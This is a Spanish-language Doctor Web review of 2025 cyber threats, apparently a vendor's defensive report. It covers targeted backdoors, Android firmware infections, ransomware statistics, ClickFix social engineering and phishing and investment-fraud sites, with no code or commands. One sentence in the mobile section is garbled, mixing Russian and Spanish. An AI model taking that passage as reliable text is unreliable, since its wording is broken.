Ese mismo mes, los expertos de Doctor Web descubrieron el troyano para Android Android.Spy.1292.origin, que los atacantes habían introducido en una de las versiones de la aplicación cartográfica Alpine Quest y que utilizaban para espiar a militares rusos. La aplicación maliciosa recopilaba información confidencial y permitía a los atacantes robar archivos de los dispositivos infectados.

En julio, en el sitio web de la empresa Doctor Web se publicó un material sobre los programas troyanos Trojan.Scavenger, diseñados para robar criptomonedas y contraseñas. Los delincuentes los distribuían haciéndolos pasar por mods, trucos y parches para juegos. Este malware se ejecutaba utilizando software legítimo, entre otros métodos mediante la explotación de vulnerabilidades de la clase DLL Search Order Hijacking.

En agosto, nuestros expertos informaron sobre la propagación del backdoor multifuncional Android.Backdoor.916.origin, dirigido contra representantes de empresas rusas. La aplicación maliciosa se distribuía bajo la apariencia de un antivirus a través de mensajes privados en mensajeros. Al llegar a los dispositivos objetivo, Android.Backdoor.916.origin recopilaba datos confidenciales y permitía a los atacantes vigilar a las víctimas.
Además, en agosto el laboratorio antivirus de Doctor Web publicó una investigación sobre un ataque dirigido del grupo Scaly Wolf contra una empresa rusa de ingeniería mecánica. Los ciberdelincuentes emplearon todo un conjunto de herramientas maliciosas, entre las cuales uno de los elementos principales fue el backdoor modular Updatar, que permitía a los atacantes recopilar información confidencial de los equipos infectados.

En octubre, los expertos de Doctor Web informaron sobre el backdoor Android.Backdoor.Baohuo.1.origin, integrado por los atacantes en versiones modificadas del messenger Telegram X. Android.Backdoor.Baohuo.1.origin roba los nombres de usuario y contraseñas de las cuentas de Telegram, así como otros datos confidenciales. Este malware permite a los delincuentes obtener el control total de la cuenta del usuario y administrar el messenger al realizar acciones en nombre de la víctima. Por ejemplo, los atacantes pueden unirse a canales de Telegram de forma no autorizada y abandonarlos, así como ocultar nuevos dispositivos autorizados en la interfaz de la versión troyana de Telegram X.

En noviembre, publicamos una investigación sobre un ataque dirigido del grupo de hackers Cavalry Werewolf contra una institución estatal rusa. Al analizar el incidente, los expertos de «Doctor Web» detectaron múltiples herramientas maliciosas utilizadas por los ciberdelincuentes, incluidas las herramientas de código abierto. Los analistas de malware analizaron las características del grupo y determinaron que sus miembros prefieren utilizar backdoors con funcionalidad de shell inverso y recurren con frecuencia a la API de Telegram para administrar los equipos infectados. Además, inician los ataques al enviar correos electrónicos de phishing supuestamente en nombre de organismos estatales y adjuntan malware, camuflado como varios documentos oficiales, a estos mensajes.

En diciembre, la empresa Doctor Web publicó un análisis del malware Trojan.ChimeraWire, que infla la popularidad de sitios web haciéndose pasar por una persona. El troyano busca los sitios necesarios en los motores de búsqueda Google y Bing, los abre y realiza clics en las páginas web cargadas de acuerdo con las tareas recibidas de los delincuentes. Trojan.ChimeraWire se instala en los ordenadores mediante una serie de programas maliciosos que explotan vulnerabilidades de la clase DLL Search Order Hijacking.

A lo largo de 2025 se observó un aumento de la popularidad de los ataques que utilizan el método ClickFix. Este consiste en que los atacantes recurren a la ingeniería social para inducir a las posibles víctimas, mediante engaños, a ejecutar por sí mismas código malicioso. Cuando los usuarios acceden a un sitio web malicioso o comprometido, este les informa de un supuesto error o de la necesidad de actualizar el navegador y les propone “solucionar” el problema. Para ello, según la variante del ataque, se pide a los usuarios que copien las líneas indicadas en la página o que simplemente pulsen el botón correspondiente (por ejemplo, «Actualizar» o «Corregir»). En este último caso, el contenido necesario se copia automáticamente en el portapapeles. A continuación, se les solicita que abran la línea de comandos o el terminal PowerShell, peguen allí el contenido del portapapeles y pulsen la tecla Enter. Como resultado, las víctimas ejecutan por sí mismas el código malicioso, que inicia la cadena de infección del ordenador. Para más información sobre los ataques ClickFix, puede consultar el material correspondiente en nuestro sitio web.

Los eventos de virus

Según las estadísticas de detección del antivirus Dr.Web, en 2025 el número total de amenazas detectadas aumentó un 5,45 % en comparación con 2024. Al mismo tiempo, el número de amenazas únicas se redujo un 15,89 %. Con mayor frecuencia, los usuarios afrontaron varios scripts maliciosos y troyanos publicitarios. Además, se propagaron los troyanos utilizados para ejecutar otro malware. Asimismo, los usuarios volvieron a verse amenazados por aplicaciones troyanas creadas en el lenguaje de scripting AutoIt, que se distribuyen como parte de otro malware con el fin de dificultar su detección.

VBS.KeySender.6
VBS.KeySender.7: Un script malicioso que en un ciclo infinito busca las ventanas con el texto mode extensions, разработчика y розробника y les envía un evento de pulsación del botón Escape, al cerrarlas de forma forzosa.
Trojan.BPlug.4242: Detección de un componente malicioso de la extensión del navegador WinSafe. Este componente es un script de JavaScript que visualiza publicidad importuna en navegadores.
Trojan.Starter.8319
Trojan.Starter.8326
Trojan.Starter.8332: Detección de scripts XML maliciosos que inician el troyano Trojan.AutoIt.289 y sus componentes.
JS.Siggen5.44590: Un código malicioso añadido a la biblioteca JavaScript pública, es5-ext-main. Visualiza un mensaje determinado si el paquete está instalado en el servidor con el huso horario de ciudades rusas.
Trojan.Siggen30.53926: Un proceso host del framework Electron modificado por los malintencionados, camuflado como componentes de la aplicación Steam (Steam Client WebHelper) que carga un backdoor en JavaScript.
JS.MalVpn.1: Un script malicioso usado por varios tipos de malware para conectarse a los servidores de control.
Trojan.Siggen31.34463: Un troyano creado en lenguaje de programación Go y destinado para cargar en el sistema objetivo varios miners y adware. El malware es un archivo DLL y está en %appdata%\utorrent\lib.dll. Para su inicio, usa la vulnerabilidad de la clase DLL Search Order Hijacking en el cliente torrent uTorrent.

En el tráfico de correo en el año 2025 con mayor frecuencia se detectaban los programas troyanos que descargaban e instalaban otro malware. Los malintencionados también propagaron a través de los mensajes electrónicos varios backdoors, exploits, documentos phishing y scripts maliciosos.

W97M.DownLoader.2938: Una familia de troyanos descargadores que usan las vulnerabilidades de los documentos Microsoft Office. Sirven para descargar otro malware al equipo atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Exploits para usar vulnerabilidades en el software Microsoft Office, que permiten ejecutar un código aleatorio.
JS.Phishing.684
JS.Phishing.745: Un script malicioso en lenguaje JavaScript que genera una página web de phishing.
BackDoor.AgentTeslaNET.20: Un malware espía destinado a robar información confidencial. Por ejemplo, recopila y transmite a los atacantes nombres de usuario y contraseñas de numerosas aplicaciones, como navegadores, mensajeros, clientes de correo, bases de datos, etc. También roba datos del portapapeles, incorpora funcionalidad de keylogger y puede realizar capturas de pantalla (screenshots).
Win32.Expiro.153: Un virus de archivos que infecta archivos ejecutables de Windows. Su objetivo principal es robar contraseñas de varios programas.
JS.DownLoader.1225: Detección heurística para los archivos ZIP que contienen los scripts de JavaScript con nombres sospechosos.
Trojan.PackedNET.3223: Detección de malware protegido por un comprimidor.
Trojan.AutoIt.1413: Detección de la versión comprimida del programa troyano Trojan.AutoIt.289, creado en lenguaje de script AutoIt. Se propaga en un grupo de varios tipos de malware: un miner, un backdoor y un módulo para la propagación automática. Trojan.AutoIt.289 realiza varias acciones maliciosas que dificultan la detección de la carga útil básica.

Cifradores

En comparación con 2024, en 2025 el Servicio de soporte técnico de Doctor Web recibió un 35,98 % menos de solicitudes de usuarios que habían resultado afectados por troyanos cifradores. La dinámica del registro de solicitudes de descifrado de archivos se muestra en el gráfico siguiente.

Los cifradores más populares en el año 2025:

Trojan.Encoder.35534 (23,22% de solicitudes de usuarios): Un cifrador también conocido como Mimic. Para buscar los archivos objetivo para el cifrado el troyano usa la biblioteca everything.dll del programa legal Everything destinada a la búsqueda instantánea de archivos en ordenadores con Windows.
Trojan.Encoder.35209 (3,33% de solicitudes de usuarios): Cifrador basado en el código fuente del troyano encoder Conti. Cifra los archivos con el algoritmo ChaCha20. Tras la desmantelación de varios servidores de mando y control de los delincuentes y la revelación de claves privadas RSA de cifrado, para algunas modificaciones de este malware está disponible el descifrado de los archivos afectados.
Trojan.Encoder.35067 (2,50% de solicitudes de usuarios): Cifrador conocido como Masor (una variante de este troyano es Trojan.Encoder.30572). Tiene un tamaño reducido, de unos 30–40 KB. Esto se debe en parte a que el troyano no incluye bibliotecas criptográficas de terceros y utiliza solo funciones de CryptoAPI para el cifrado y la generación de claves. Para cifrar los archivos emplea el algoritmo AES-256, y las propias claves se cifran con RSA-1024.
Trojan.Encoder.41868 (2,31% de solicitudes de usuarios): Cifrador cuyos artefactos indican la implicación del grupo de hackers C77L en su creación.
Trojan.Encoder.29750 (2,13% de solicitudes de usuarios): Un troyano extorsionista que tiene varias versiones. Sus modificaciones actuales cifran los archivos con un algoritmo AES-256+RSA.

Fraudulencias en la red

En 2025, los analistas de Internet de la empresa Doctor Web observaron un aumento del número de sitios de phishing creados para robar cuentas del messenger Telegram. Los delincuentes utilizaron varios esquemas, como páginas falsas de autenticación y autorización, así como mensajes fraudulentos supuestamente enviados por el servicio de soporte de Telegram, en los que se advertía de presuntas infracciones en el uso del messenger y de la necesidad de realizar una «verificación» de la cuenta, entre otros.

Un ejemplo de un sitio web phishing que informa de la necesidad de hacer una verificación de la cuenta de Telegram a causa de alguna infracción de los requisitos del uso del servicio

Los sitios web de este tipo también se crearon para usuarios de otros servicios, por ejemplo, plataformas de videojuegos, tiendas en línea, etc. Las falsificaciones podían parecer recursos web legítimos y ofrecían iniciar sesión en la cuenta. Si los usuarios caían en la trampa, los delincuentes averiguaban la información confidencial.

Un sitio web falso del servicio Steam visualiza un formulario phishing para introducir el nombre de usuario y la contraseña

Los usuarios volvieron a afrontar varias variantes de recursos fraudulentos en Internet que ofrecían todo tipo de regalos y bonificaciones, así como la participación en supuestas «promociones ventajosas». Se propagaron los sitios web falsos de marketplaces rusos, en los que los visitantes supuestamente podían participar en sorteos de premios. El «premio» estaba programado de antemano y, para poder «recibirlo», se exigía a la víctima realizar determinados pagos, por ejemplo, en concepto de un supuesto impuesto y, posteriormente, por el envío del producto y su seguro.
En otras variantes del esquema fraudulento, el producto deseado supuestamente no estaba disponible y se ofrecía en su lugar una compensación económica. Para «recibir» el dinero, el usuario también debía efectuar una serie de pagos, como una tasa, un seguro, etc. En ningún caso la víctima llegaba a recibir premio alguno.

Un ejemplo de un sitio web falso del marketplace que propone participar en un «sorteo de premios»

Otras variantes de este tipo de esquemas incluían sitios web falsos de empresas de transporte dirigidos a residentes del Reino Unido. En ellos se ofrecía participar en sorteos de tarjetas de transporte, supuestamente vinculadas a un determinado evento y que permitían utilizar gratuitamente el transporte público. Al «ganar el premio», los estafadores pedían a las víctimas que facilitaran sus datos personales y pagaran una pequeña «comisión».

Un sitio web fraudulento, supuestamente en nombre de una empresa de transporte, ofrece participar en un «sorteo de tarjetas»

Siguieron siendo relevantes todo tipo de sitios web fraudulentos de temática financiera. Entre los delincuentes volvieron a ser populares los recursos que ofrecían ganar dinero con operaciones en los mercados utilizando sistemas automatizados basados en supuestos algoritmos únicos y tecnologías de inteligencia artificial. Este tipo de sitios se crea con orientación a residentes de numerosos países. En la mayoría de los casos, solicitan datos personales para registrar una «solicitud» o una «cuenta», tras lo cual los estafadores averiguan esta información y la utilizan a su conveniencia. Posteriormente, pueden revender estos datos o continuar atrayendo a la posible víctima a un falso servicio de inversión, exigiendo el ingreso de dinero en una supuesta cuenta de «operaciones».

Uno de los sitios web fraudulentos que ofrecían acceso a una supuesta «plataforma de inversión» basada en tecnologías de inteligencia artificial afirmaba, de manera engañosa, estar vinculado a la corporación Apple

Muchos de estos sitios están construidos a partir de plantillas similares en forma de un chat falso con un «asistente virtual» o un «empleado» de una u otra empresa, supuestamente en cuyo nombre los estafadores se dirigen a la posible víctima. Se invita al usuario a responder a una serie de preguntas y, a continuación, a facilitar sus datos personales.

En uno de los sitios, los delincuentes ofrecían a usuarios de Francia acceder a un supuesto software de trading automatizado inexistente, TraderAI, que supuestamente permitía ganar a partir de 3 500€

Uno de los recursos promocionaba un servicio de inversión supuestamente basado directamente en el messenger Telegram. El sitio prometía ingresos de 10.000 € al mes mediante la compraventa automática de acciones de empresas internacionales «directamente desde el navegador del teléfono».

El sitio web fraudulento invita a unirse a una supuesta «plataforma Telegram», que supuestamente opera de forma autónoma en el mercado de acciones

Los delincuentes también ofrecían a las posibles víctimas ganar dinero mediante «bots de trading», supuestamente creados con la participación de grandes empresas y servicios como Telegram, WhatsApp, TikTok y otros.

Un ejemplo de un sitio web que proponía usar un bot de trading no existente que supuestamente tenía que ver con el messenger WhatsApp

A lo largo de 2025, nuestros analistas de Internet detectaron nuevos sitios web fraudulentos que ofrecían invertir en el sector del petróleo y el gas a usuarios de varios países, incluidos Rusia, los países de la CEI y Europa. En este tipo de sitios, en la mayoría de los casos, también se solicita a las posibles víctimas la información personal, como el nombre y los apellidos, el número de teléfono móvil, la dirección de correo electrónico, etc.

Un sitio web fraudulento, dirigido a ciudadanos de Kirguistán, les ofrece «ganar dinero con el petróleo y el gas», prometiendo elevados ingresos

Volvieron a aparecer los sitios web fraudulentos que ofrecían obtener «ayudas estatales» en forma de pagos o compensaciones. Por ejemplo, en el segmento ruso de Internet se difundieron los recursos fraudulentos que supuestamente estaban relacionados con el portal Gosuslugi.

Un ejemplo de un sitio web fraudulento que supuestamente estaba vinculado al servicio Gosuslugi y prometía a los usuarios rusos pagos regulares por parte del Estado y de una gran empresa del sector del petróleo y el gas. Para «participar» en el programa de pagos, se solicitaban a la víctima sus datos personales

Nuestros expertos también destacaron la aparición de nuevos sitios web falsos de proyectos educativos. En ellos se ofrecía a los usuarios realizar diversos cursos de formación para mejorar su educación financiera, aprender una u otra profesión, etc. Para obtener «acceso» a la formación, a las posibles víctimas, al igual que en muchos otros esquemas similares, también se les solicitaba la información personal.

Un sitio web fraudulento proponía aprender inglés

Los analistas de Internet de Doctor Web detectaron nuevos sitios web fraudulentos dedicados a la venta de entradas de teatro. En estos recursos, los estafadores ofrecen a las posibles víctimas adquirir entradas a precios atractivos, pero una vez realizado el «pago» los usuarios no las reciben.

Un ejemplo de un sitio web fraudulento que vendía entradas de teatro no existentes

Además, también se difundieron nuevos sitios web falsos de cines privados. Al igual que en el caso de las entradas de teatro, los estafadores ofrecen a las posibles víctimas comprar entradas de cine, pero al final estas solo entregan su dinero a los delincuentes.

Un sitio web falso de un cine privado

Para dispositivos móviles

Согласно статистике детектирований Dr.Web Security Space для мобильных устройств, в 2025 году пользовател y Android чаще всего сталкивались с рекламным y троянам y Android.MobiDash y Android.HiddenAds, así como el malware Android.FakeApp, que en vez de la funcionalidad declarada puede cargar varios sitios web, así mismo, los fraudulentos y maliciosos. Se destacó un crecimiento de actividad de aplicaciones troyanas Android.Triada. Son amenazas multifuncionales que los malintencionados incrustan en el firmware de dispositivos en Android. Además, se observó un crecimiento del número de ataques de troyanos bancarios Android.Banker. Al mismo tiempo la actividad de los bankers Android.SpyMax, al contrario, bajó.

El año pasado los creadores de virus siguieron usando varias técnicas de protección de malware para el SO Android. Una de ellas fue el método de conversión del código DEX al código C (conocido como DCC o DEX to C).

Las aplicaciones no deseadas más populares fueron los programas Program.FakeMoney. Ofrecen a los usuarios realizar varias tareas a cambio de recompensas virtuales y prometen la posibilidad de convertir dichas recompensas en dinero real. Sin embargo, en realidad no existe tal posibilidad. Además, en los dispositivos protegidos se detectaban con frecuencia las aplicaciones Program.FakeAntiVirus.1 y Program.CloudInject.1. Los primeros imitan el funcionamiento de los antivirus y detectan amenazas inexistentes, ofreciendo «eliminar» la infección mediante la compra de la versión completa del software. Los segundos son aplicaciones que han sido modificadas a través de un popular servicio en la nube. Durante la modificación, se les añaden permisos de sistema peligrosos y código ofuscado, cuya finalidad no puede controlarse.
Los programas modificados mediante la utilidad NP Manager (detectados como Tool.NPMod) se convirtieron en el software potencialmente peligroso más popular. Esta utilidad ofusca el código de las aplicaciones modificadas y permite esquivar la verificación de su firma digital. El tipo de adware más activo en 2025 fueron las modificaciones no oficiales de WhatsApp (Adware.ModAd.1), que abren automáticamente los enlaces publicitarios durante el uso del messenger.

En el año 2025 se detectaron nuevos casos de infección del firmware de dispositivos en Android. Nuestra empresa informó de uno de ellos en abril. Los malintencionados preinstalaron el malware Android.Clipper.31 en el área de sistema de algunos modeles de smartphones económicos y con el mismo robaban la criptomoneda de los usuarios. Otros atacantes consiguieron implementar los troyanos peligrosos Android.Triada en el firmware de otros modelos de smartphones en Android. Además, se registraron más casos de infección del firmware de consolas TV en Android con nuevas versiones del troyano Android.Vo1d, detectado por nuestra empresa en el año 2024.

Durante el año pasado el laboratorio antivirus de Doctor Web detectó algunos tipos de malware peligroso. En abril informamos sobre el troyano Android.Spy.1292.origin, que se ocultaba en una versión modificada por los creadores de malware de la aplicación cartográfica Alpine Quest y atacaba a militares rusos. Android.Spy.1292.origin transfería a los delincuentes los datos sobre el número de teléfono móvil y las cuentas del usuario, recopilaba los contactos de la agenda, la geolocalización del dispositivo infectado y la información sobre los archivos almacenados en él. También podía robar determinados archivos por orden de los atacantes. Estos se interesaban principalmente por documentos confidenciales transmitidos a través de messengers, así como por el archivo del registro de ubicaciones de la aplicación cartográfica Alpine Quest.

En agosto nuestros expertos advirtieron del backdoor Android.Backdoor.916.origin propagado por los malintencionados camuflado como un antivirus, a través de los mensajes personales en messengers. Android.Backdoor.916.origin roba la información privada y permite supervisar a los usuarios. El objetivo principal de este backdoor fueron los empleados de negocios rusos.

En octubre informamos sobre el backdoor multifuncional Android.Backdoor.Baohuo.1.origin, detectado por nuestros analistas de virus en las versiones modificadas del messenger Telegram X. Este malware también se usa para robar los datos privados, incluidos los nombres de usuario y contraseñas de Telegram, los SMS entrantes, la mensajería en Messenger y los datos del portapapeles. Así mismo, el backdoor permite a los malintencionados administrar el Messenger totalmente y controlar la cuenta hackeada de Telegram de la víctima. Para administrar el backdoor los ciberdelincuentes usaron tanto el servidor C2 como la base de datos Redis, lo cual no se detectaba anteriormente en amenazas en Android. Android.Backdoor.Baohuo.1.origin fue destinado sobre todo a los residentes de Indonesia y Brasil.

Para más información sobre los eventos de virus para dispositivos móviles en el año 2025 consulte nuestro informe.

Perspectivas y probables tendencias

En el nuevo año 2026, una de las amenazas más populares para los usuarios probablemente seguirá siendo la de los troyanos publicitarios, mediante los cuales los delincuentes obtienen ingresos ilícitos. Es previsible que los ciberdelincuentes recurran con mayor frecuencia a aplicaciones troyanas bancarias, que también les permiten lucrarse.
Es posible que continúe aumentando la popularidad de varias herramientas y métodos destinados a ocultar la actividad maliciosa. Entre ellos cabe destacar el uso de empaquetadores y ofuscadores, la utilización de malware tipo dropper y de cargadores multietapa, así como el empleo de esteganografía para ocultar la carga maliciosa. Además, en la creación de software malicioso, los ciberdelincuentes —incluidos aquellos con poca experiencia en programación— recurrirán cada vez más a asistentes basados en inteligencia artificial. Como resultado, surgirán nuevas familias de malware y el número de amenazas aumentará.
Los organismos públicos y las estructuras corporativas volverán a estar en el punto de mira, lo que dará lugar a nuevos ataques dirigidos. También son probables nuevos casos de infección del firmware de smartphones Android, decodificadores de TV y otros tipos de dispositivos móviles, especialmente en el segmento de bajo coste. La actividad de los estafadores en Internet se mantendrá.

Doctor Web: informe de la actividad de virus para dispositivos móviles en el año 2025

Thu, 15 Jan 2026 00:00:00 GMT

15 de enero de 2026

TENDENCIAS DEL AÑO PASADO

Los troyanos publicitarios otra vez se convirtieron en amenazas en Android más populares
Creció la popularidad de la utilidad NP Manager que ofusca el código de las aplicaciones en Android modificadas y permite esquivar la verificación de su firma digital una vez modificadas
Creció la actividad de los troyanos bancarios
Se detectaron los nuevos casos de infección del malware de dispositivos en Android
Los ciberdelincuentes siguieron usando tanto las técnicas ya conocidas para la protección de malware contra la detección y análisis, como los nuevos trucos
Los creadores de virus aplicaron activamente los asistentes de IA para crear el código del malware
Aparición de las nuevas amenazas en el catálogo Google Play

Los eventos más destacados del año 2025

En abril del año pasado, los expertos de Doctor Web detectaron una campaña a gran escala de robo de criptomonedas dirigida a propietarios de dispositivos Android. Los delincuentes obtuvieron acceso a la cadena de suministro de varios fabricantes chinos e introdujeron el troyano Android.Clipper.31 en el firmware de varios modelos económicos de smartphones. Los creadores de malware lo integraron en una versión modificada del messenger WhatsApp. Para la modificación se utilizó la herramienta LSPatch, que permite cambiar la lógica de funcionamiento de las aplicaciones sin modificar su código.

Android.Clipper.31 intercepta los mensajes enviados y recibidos en el messenger, busca en ellos las direcciones de monederos de criptomonedas Tron y Ethereum y las sustituye por direcciones que pertenecen a los atacantes. Al mismo tiempo, el troyano oculta la sustitución y en esos mensajes las víctimas ven las direcciones de monederos aparentemente correctas. Android.Clipper.31 también envía a los delincuentes todas las imágenes en formatos jpg, png y jpeg para buscar en ellas frases mnemotécnicas guardadas que permiten acceder a monederos de criptomonedas. Los ciberdelincuentes integraron Android.Clipper.31 en decenas de otras aplicaciones, entre ellas populares apps de monederos de criptomonedas, escáneres de códigos QR y otros messengers, incluido Telegram. Estas modificaciones se distribuían a través de sitios web maliciosos.

En 2025 también se registraron otros casos de infiltración de malware en el área del sistema de dispositivos Android. Por ejemplo, otro grupo de atacantes logró introducir nuevas versiones de troyanos peligrosos Android.Triada en el firmware de varios smartphones de bajo coste. El peligro de los malware Triada radica en su capacidad para infectar el proceso del sistema Zygote, que participa directamente en el inicio de todas las aplicaciones. Como consecuencia, los troyanos Triada pueden integrarse posteriormente en cualquier aplicación del dispositivo, obteniendo de facto un control total sobre ella. Los delincuentes utilizan estos troyanos para descargar e instalar otro malware, así como aplicaciones no deseadas y publicitarias. Además, con su ayuda pueden espiar a las víctimas, suscribirlas a servicios de pago, etc.

Asimismo, se detectaron nuevos casos de infección del firmware de decodificadores de TV basados en Android con nuevas versiones del troyano Android.Vo1d, descubierto por nuestra empresa en 2024. Vo1d es un backdoor que coloca sus componentes en el área del sistema de los dispositivos infectados y, por orden de los atacantes, puede descargar e instalar software de terceros de forma no autorizada.

Asimismo, en abril nuestro laboratorio antivirus de Doctor Web registró una campaña de propagación del troyano espía Android.Spy.1292.origin, dirigida contra militares rusos. Los delincuentes integraron el malware en una de las versiones del software cartográfico Alpine Quest y propagaron la modificación a través de un canal de Telegram creado por ellos y presentado como oficial, así como mediante uno de los catálogos rusos de aplicaciones en Android.

Un canal de Telegram a través del cual los malintencionados propagaron la modificación maliciosa de Alpine Quest que contiene Android.Spy.1292.origin

Android.Spy.1292.origin transfería a los ciberdelincuentes los datos sobre las cuentas de los usuarios y el número de teléfono móvil, los contactos de la agenda, la geolocalización del dispositivo y la información sobre los archivos almacenados en él. El troyano podía robar algunos archivos por orden de los atacantes. A estos les interesaban principalmente documentos confidenciales que los usuarios enviaban a través de messengers populares, así como el archivo del registro de ubicaciones de la aplicación Alpine Quest.

En agosto informamos sobre casos de propagación del backdoor Android.Backdoor.916.origin a través de mensajes privados en messengers populares. Los atacantes ofrecían a las posibles víctimas instalar un «antivirus» desde un archivo APK adjunto a los mensajes, en el que en realidad se ocultaba el malware. Nuestro laboratorio antivirus detectó las primeras versiones de Android.Backdoor.916.origin en enero de 2025 y, desde el momento de su descubrimiento, realizó un seguimiento de su actividad, lo que permitió identificar esta campaña con rapidez.

Android.Backdoor.916.origin engaña a los usuarios al imitar el funcionamiento del antivirus

Tras instalarse en un dispositivo Android, Android.Backdoor.916.origin permite robar la información confidencial y espiar al usuario. Por ejemplo, mediante este backdoor los delincuentes pueden escuchar conversaciones, transmitir vídeo desde la cámara, rastrear la ubicación y sustraer datos de messengers y navegadores. Además, Android.Backdoor.916.origin incorpora funcionalidad de keylogger para interceptar el texto introducido, incluidas las contraseñas. Según las estimaciones de nuestros especialistas, este backdoor se utiliza en ataques dirigidos y no está pensado para una propagación masiva. El principal objetivo de los ciberdelincuentes son los empleados de empresas rusas.

En octubre, Doctor Web publicó la información sobre el backdoor multifuncional Android.Backdoor.Baohuo.1.origin, que nuestros analistas de malware detectaron en versiones modificadas del messenger Telegram X. La principal fuente de su propagación fueron los sitios web maliciosos, a los que las posibles víctimas llegaban a través de publicidad en aplicaciones móviles. En estos sitios se ofrecía a los usuarios instalar Telegram X, supuestamente para buscar pareja para comunicarse y concertar citas. Al mismo tiempo, estos recursos web estaban orientados en mayor medida a residentes de Indonesia y Brasil. No obstante, también detectamos este backdoor en varios catálogos de aplicaciones Android de terceros.

Un ejemplo de un sitio web malicioso desde el cual se descargaba la versión troyana de Telegram X

Una de las funciones de Android.Backdoor.Baohuo.1.origin es robar los datos confidenciales. Por ejemplo, el malware sustrae el nombre de usuario y la contraseña de la cuenta de Telegram de la víctima, el historial de conversaciones en el messenger, los SMS entrantes, los contactos de la agenda del dispositivo y también es capaz de interceptar el contenido del portapapeles. No obstante, los atacantes no lo utilizan únicamente como aplicación espía. Con ayuda de Android.Backdoor.Baohuo.1.origin, pueden administrar de facto la cuenta comprometida y controlar el funcionamiento de Telegram X, modificando su funcionalidad.

Así, el backdoor permite añadir y eliminar al usuario de los canales de Telegram de forma no autorizada, unirse a chats en su nombre y ocultar los dispositivos autorizados para su cuenta. Para ejecutar acciones que requieren intervenir en la lógica de funcionamiento de la aplicación se utiliza el framework Xposed. Los ciberdelincuentes controlan el backdoor tanto de la forma tradicional —a través de un servidor C2— como mediante el envío de comandos a través de una base de datos Redis, algo que no se había observado anteriormente en otros malware para el sistema operativo Android.
El número total de dispositivos infectados con Android.Backdoor.Baohuo.1.origin superó los 58.000. Al mismo tiempo, se vieron afectados cerca de 3.000 modelos distintos de smartphones, tabletas, decodificadores de TV e incluso vehículos con ordenadores de a bordo basados en Android.

Países con mayor número de dispositivos infectados por Android.Backdoor.Baohuo.1.origin

Estadísticass

Según las estadísticas de detección de Dr.Web Security Space para dispositivos móviles, en 2025 las amenazas más comunes para Android fueron los distintos tipos de malware: los usuarios se enfrentaron a ellos en el 81,11 % de los casos. A continuación, con una cuota del 10,73 %, se situaron las aplicaciones potencialmente peligrosas. El tercer lugar lo ocuparon los programas publicitarios, que se detectaron en el 5,89 % de los casos. La menor actividad correspondió al software no deseado, con un 2,27 % de las detecciones.

En comparación con el año anterior, aumentó la proporción de malware y de aplicaciones potencialmente peligrosas, mientras que la del software no deseado y publicitario disminuyó.

Malware

Durante varios años, los troyanos publicitarios de la familia Android.HiddenAds han seguido siendo líderes en número de detecciones de malware. En 2025 la situación no cambió, aunque en los últimos 12 meses su cuota se redujo ligeramente, del 31,95 % al 27,42 %.

Estos troyanos muestran publicidad intrusiva en forma de banners a pantalla completa y vídeos. Para dificultar a los usuarios la detección y eliminación del malware de los dispositivos infectados, tras la instalación intentan «ocultarse», por ejemplo, escondiendo o sustituyendo sus iconos en el menú de la pantalla principal.

El representante más activo de la familia resultó ser Android.HiddenAds.657.origin, que concentró más de un tercio de las detecciones. Este troyano llamó la atención de nuestros analistas de malware ya en 2024 y desde entonces ha logrado situarse en cabeza. Es una de las múltiples variantes de Android.HiddenAds.1994, un malware conocido desde 2021. También se propagaron varias de sus nuevas versiones, como Android.HiddenAds.666.origin y Android.HiddenAds.673.origin. No puede descartarse que con el tiempo también asciendan a las primeras posiciones, como ya ocurrió anteriormente con otras modificaciones de Android.HiddenAds.1994.

A lo largo del año, los usuarios volvieron a encontrarse con la subfamilia Android.HiddenAds, Aegis; no obstante, la proporción de este tipo de malware dentro del total de detecciones de la familia se redujo de forma notable, del 17,37 % al 3,11 %. Estos troyanos se caracterizan, entre otras cosas, por su capacidad para ejecutarse automáticamente tras la instalación. Entre ellos, las variantes más activas fueron Android.HiddenAds.Aegis.1 y Android.HiddenAds.Aegis.8.origin.

El segundo malware más popular fueron los troyanos publicitarios Android.MobiDash, cuya cuota aumentó del 5,38 % en 2024 al 15,64 % en 2025. Entre ellos destacó Android.MobiDash.7859. A continuación se situaron los programas falsos Android.FakeApp, utilizados con fines fraudulentos y que, en lugar de la funcionalidad prometida, cargan diversos sitios web. Estos representaron el 10,94 % de las detecciones, una cifra inferior a la de 2024, cuando su cuota alcanzó el 18,28 %. Este descenso se debió, entre otros factores, a una menor actividad del troyano Android.FakeApp.1600, que, no obstante, sigue siendo el representante más popular de la familia. Su principal función es cargar sitios de casinos en línea.

La cuota de los troyanos de la familia Android.Spy, que incorporan diversas funciones de espionaje, se redujo del 11,52 % al 3,09 %. Al mismo tiempo, aumentó la actividad de los troyanos bancarios: su proporción sobre el total de detecciones de aplicaciones maliciosas alcanzó el 6,94 %, frente al 6,29 % del año anterior.

En 2025, el número de detecciones de comprimidores de software aumentó del 5,49 % al 6,01 %. Este tipo de herramientas también puede ser utilizado por los delincuentes para proteger el malware frente a su detección y análisis. Con mayor frecuencia, en los dispositivos protegidos se detectaron programas maliciosos que utilizaban el comprimidor Android.Packed.57146.

Se propagaron diversas modificaciones maliciosas del messenger WhatsApp. Entre ellas se encontraban versiones (detectadas por Dr.Web como Android.Click.1812) que cargaban sitios web sin autorización de las víctimas. Asimismo, se observó un aumento de la actividad de los troyanos multifuncionales de la familia Android.Triada, que los atacantes pueden integrar en el firmware de dispositivos Android. Su cuota aumentó del 2,74 % al 7,48 %.

Las diez aplicaciones Android maliciosas detectadas con mayor frecuencia en 2025:

Android.HiddenAds.657.origin
Android.HiddenAds.4214
Android.HiddenAds.655.origin
Android.HiddenAds.4213
Android.HiddenAds.666.origin: Programas troyanos destinados a mostrar publicidad intrusiva. Los representantes de esta familia suelen propagarse haciéndose pasar por aplicaciones inofensivas y, en algunos casos, son instalados en el directorio del sistema por otro malware. Al llegar a los dispositivos Android, estos troyanos publicitarios suelen ocultar su presencia al usuario, por ejemplo, al «esconder» el icono de la aplicación en el menú de la pantalla principal.
Android.MobiDash.7859: Un programa troyano que visualiza publicidad importuna. Es un complemento que los desarrolladores de software incrustan en aplicaciones.
Android.FakeApp.1600: Un programa troyano que carga el sitio web indicado en su configuración. Las modificaciones conocidas de este malware cargan un sitio web de un casino en línea.
Android.Click.1812: Detección de mods maliciosos del messenger WhatsApp que pueden cargar varios sitios web en modo de Segundo plano de forma no autorizada por el usuario.
Android.Packed.57146: Detección de malware comprimido con un ofuscador del código commercial popular.
